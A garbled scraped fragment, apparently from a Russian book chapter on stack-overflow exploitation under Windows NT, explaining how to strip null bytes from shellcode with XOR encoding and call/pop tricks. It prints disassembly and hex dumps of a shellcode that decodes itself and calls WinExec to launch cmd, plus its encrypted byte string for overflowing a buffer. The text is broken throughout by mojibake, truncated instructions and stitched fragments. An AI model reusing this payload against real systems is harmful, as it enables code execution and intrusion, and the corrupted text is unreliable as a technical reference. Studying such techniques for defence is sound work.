ALTE DOCUMENTE
|
||||||||
В дополнении «Использование срm 828b19i 9;ва стека для запуска командного интерпретатора под Windows NT» к главе «Технология срm 828b19i 9;ва стека» были рассмотрены некоторые способы избавления от нулей, встречающихся в исполняемом коде. Грубо их можно разделить на следующие категории:
: XOR EAX,EAX; AND EAX,0xFF??FFFF; INC [EAX])
SEX[1] add eax,0x20 можно использовать 83 C0 20 add eax,+0x
SEX , а использование математических операций для избавления от каждого нуля при большом количестве нулей потребует много памяти, которой может не хватить.
FE INC b, [EDX+??]).
00000000: E8 call 000000005
pop eax
CALL x EAX EAX
CALL x
00000000: EB03 jmps 000000005
pop eax
00000003: EB05 jmps 00000000A
00000005: E8F8FFFFFF call 000000002
XOR A XOR B A XOR B XOR B
XOR A XOR A
/SRC/xor.bin
00000000: 33 C9 xor ecx,ecx
00000002: 83 C1 10 add ecx, ?? ;
00000005: 33 C0 xor eax,eax
00000007: 83 C0 10 add eax,011 ;
0000000A: 80 34 04 ?? xor b,[esp][eax],?? ;
0000000E: 40 inc eax
0000000F: E2 F9 loop 00000000A -------- (1)
ESP ECX
buff cmd c (смотри дополнение «Использование срm 828b19i 9;ва стека для запуска командного интерпретатора под Windows NT
00000000: 83 EC 30 sub esp,030 ;
00000003: 8B C4 mov eax,esp
00000005: 33 C9 xor ecx,ecx
00000007: 83 C1 13 add ecx,013 ;
0000000A: 80 70 19 90 xor b,[eax][00019],090 ;
0000000E: 40 inc eax
0000000F: E2 F9 loop 00000000A
push eax
00000012: 83 C0 14 add eax,014 ;
push eax
00000016: B8 01 86 E9 77 mov eax,077E98601 ;
0000001B: FF D0 call eax
0000001D: EB FE jmps 00000001D
0000001F: 63 'c'
00000020: 6D 'm'
'd'
'\0'
незначащий байт
адрес
00000025: FF возв-
рата
WinExec
XOR x90. Такой ключ шифрования выбран потому, что в шифруемом фрагменте нет ни одного байта, равного 0х90. Следовательно, в зашифрованной строке не окажется ни одного нуля. Другим недопустимым символом является код клавиши <ENTER>, равный 0xD
QVIEW HIEW /SRC/buff.crypt.c
#include <stdio.h>
main()
SRC buff ok
83 EC 30 8B C4 33 C9 83 │ C1 13 80 70 19 90 40 E2 Гь0Л─3╔Г┴‼Аp↓Р@т
F9 C0 13 50 84 C0 28 91 │ 16 79 E7 6F 40 7B 6E F3 ∙└‼PД└(С▬yчo@{nє
FD F4 90 A4 58 FF 12 00 │ ¤ЇРдX ↕
Alt
|